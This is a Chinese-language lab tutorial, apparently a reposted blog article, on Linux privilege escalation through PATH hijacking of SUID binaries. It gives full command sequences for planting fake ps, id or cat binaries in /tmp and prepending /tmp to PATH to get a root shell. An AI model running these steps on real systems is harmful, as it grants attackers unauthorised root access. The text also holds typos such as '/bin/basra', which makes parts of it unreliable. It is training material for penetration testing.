• 使用PATH变量进行Linux权限升级技巧


    0x00 前言

    在解决了几个OSCP挑战之后,我们决定写一篇关于用于Linux权限升级的各种方法的文章,这对我们的读者在其渗透测试项目中有所帮助。在本文中,我们将学习“使用$path变量的各种方法”以获得远程主机的root访问权限,以及CTF挑战所使用的技术,以生成导致权限提升的$path漏洞。如果你已经解决了CTF后利用的挑战,那么通过阅读本文,您将认识到导致权限提升的几个漏洞。

    0x001 PATH变量介绍

    PATH是Linux和Unix操作系统中的环境变量,它指定存储所有可执行程序的所有bin和sbin目录。当用户在终端上运行任何命令时,它请求shell在path变量的帮助下搜索可执行文件,以响应用户执行的命令。超级用户通常还具有/sbin和/usr/sbin权限,以便轻松执行系统管理命令。

    借助echo命令查看相关用户的路径非常简单。

    echo $PATH
    
    /usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games

    如果你注意到'.'符号,那么在环境PATH变量中,它意味着已登录的用户可以从当前目录执行二进制文件和脚本,这对于攻击者提升root权限是一种很好的技术。这是由于在编写程序时缺乏注意,因此管理员没有指定程序的完整路径。

    0x03 PATH变量提权方法一

    1.Ubuntu实验设置

    目前,在/home/raj目录中,我们将在其中创建一个以名称作为脚本的新目录。现在在脚本目录中,我们将编写一个小的C程序来调用系统二进制文件的函数。

    pwd
    mkdir script
    cd script
    nano demo.c

    正如您在demo.c文件中所看到的那样,我们正在调用ps命令(进程状态),它是系统二进制文件。

    然后使用gcc编译demo.c文件,并将suid权限提升到编译文件

    ls
    gcc demo.c -o shell
    chmod u+s shell
    ls -la shell

    2.权限提升

    首先,您需要攻击目标系统,然后进入到权限提升阶段。假设您使用普通用户通过ssh成功地登录到受害者的主机。然后在没有浪费时间的情况下,在Find命令的帮助下搜索具有SUID或4000权限的文件。

    find / -perm -u=s -type f 2>/dev/null

    因此,在上述命令的帮助下,攻击者可以枚举任何可执行文件,这里我们还可以看到/home/raj/script/shell具有suid权限。

    然后,我们进入/home/raj/script目录中并看到一个可执行文件“shell”。所以我们运行这个文件,在这里看起来这个文件正在尝试运行ps,这是/bin中的一个真实文件,用于获取进程状态。

    ls
    ./shell

    (1) echo命令:第一种生成root权限的技术

    cd /tmp
    echo "/bin/bash" > ps
    chmod 777 ps
    echo $PATH
    export PATH=/tmp:$PATH
    cd /home/raj/script
    ./shell
    whoami

    (2)复制命令-第二种生成root权限的技术

    cd /home/raj/script/
    cp /bin/sh /tmp/ps
    echo $PATH
    export PATH=/tmp:$PATH
    ./shell
    whoami

    (3)symlink命令-第三种生成root权限的技术

    ln -s /bin/sh ps
    export PATH=.:$PATH
    ./shell
    id
    whoami

    注意:symlink也称为符号链接,如果目录具有执行权限,它将成功运行。在Ubuntu中有symlink的情况下,我们已将/script目录赋予777权限

    因此,我们看到攻击者可以使用环境变量PATH来提升权限并获得root访问权限。

    0x04 PATH变量提权方法二

    1.Ubuntu实验设置

    重复上面相同的步骤来配置你自己的实验,现在在脚本目录中,我们将编写一个小的c程序来调用系统二进制文件的函数。

    pwd
    mkdir script
    cd /script
    nano test.c

    正如您在我们的test.c文件中看到的那样,我们正在调用id命令,即系统二进制文件。

    然后使用gcc编译test.c文件,并将suid权限提升到编译后的文件

    ls
    gcc test.c -o shell2
    chmod u+s shell2
    ls -la shell2

    2.权限提升 

    同样,您需要攻击目标系统,然后进入到特权提升阶段。假设您使用普通用户通过ssh成功地登录到受害者的主机。然后在没有浪费时间的情况下,在Find命令的帮助下搜索具有SUID或4000权限的文件。在这里,我们还可以看到/home/raj/script/shell2是否具有suid权限。

    find / -perm -u=s -type f 2>/dev/null

    然后我们进入/home/raj/script目录,并看到一个可执行文件“shell2”。所以我们运行这个文件,看起来shell2正在尝试运行id,这是/bin中的一个真实文件。

    cd /home/raj/script/
    ls
    ./shell2

    (1) Echo命令

    cd /tmp
    echo "/bin/bash" > id
    chmod 777 id
    echo $PATH
    export PATH=/tmp:$PATH
    cd /home/raj/script
    ./shell2
    whoami

     

    0x05 PATH变量提权方法三

    1.Ubuntu实验设置

    重复以上步骤来设置自己的实验,正如您在raj.c文件中看到的那样,我们调用cat命令从etc/passwd文件内读取其内容。

    然后使用gcc编译raj.c文件,并将suid权限提升到编译后的文件。

    ls
    gcc raj.c -o raj
    chmod u+s raj
    ls -la raj

    2.权限提升

    再次攻击受害者的系统,然后进入权限升级阶段,执行以下命令查看sudo用户列表。

    find / -perm -u=s -type f 2>/dev/null

    在这里我们还可以看到/home/raj/script/raj拥有suid权限,然后我们进入/home/raj/script目录,并看到一个可执行文件“raj”。因此,当我们运行这个文件时,它将会查看到etc/passwd文件的内容。

    cd /home/raj/script/
    ls
    ./raj

    (1) Nano Editor:第四种权限提升技术

    cd /tmp
    nano cat

    现在,当终端打开并输入/bin/basra,然后进行保存

    chmod 777 cat
    ls -al cat
    echo $PATH
    export PATH=/tmp:$PATH
    cd /home/raj/script
    ./raj
    whoami

     

    0x06 PATH变量提权方法四

    1.Ubuntu实验设置

    重复上面的步骤来设置你自己的实验,正如您在demo.c文件中看到的那样,我们调用cat命令来读取msg.txt内容,该文件在/home/raj中,但实际在/home/raj中没有这样的文件。

    然后使用gcc编译demo.c文件,并将SUID权限提升到编译后的文件

    ls
    gcc demo.c -o ignite
    chmod u+s ignite
    ls -la ignite

    2.权限提升

    再次攻击受害者的系统,然后进入到权限升级阶段,执行以下命令查看sudo用户列表。

    find / -perm -u=s -type f 2>/dev/null

    在这里,我们还可以看到/home/raj/script/ignite拥有suid权限,然后我们进入/home/raj/script目录,并看到一个可执行文件“ignite”。所以当我们运行这个文件时,它会输出错误“cat:/home/raj/msg.txt”作为结果

    cd /home/raj/script/
    ls
    ./ignite

    (1) vi编辑器-第五种权限提升技术

    cd /tmp
    vi cat

    现在,当终端打开并输入/bin/basra,然后进行保存

    chmod 777 cat
    echo $PATH
    export PATH=/tmp:$PATH
    cd /home/raj/script
    ./ignite
    whoami

     
  • 相关阅读:
    明白了最基本的压缩原理
    sys.path.insert(0, os.path.join('..', '..', '..', '..','...')) 解释
    《MongoDB权威指南》读书笔记 第二章 入门 (一)
    __str__简单用法
    python 中使用memcache
    《MongoDB权威指南》读书笔记 第三章 创建、更新及删除文档
    __call__ 函数简单用法
    《MongoDB权威指南》读书笔记 第一章 简介
    chr() ord() 的用法
    python 验证数据类型函数
  • 原文地址:https://www.cnblogs.com/backlion/p/10503996.html
Copyright © 2020-2023  润新知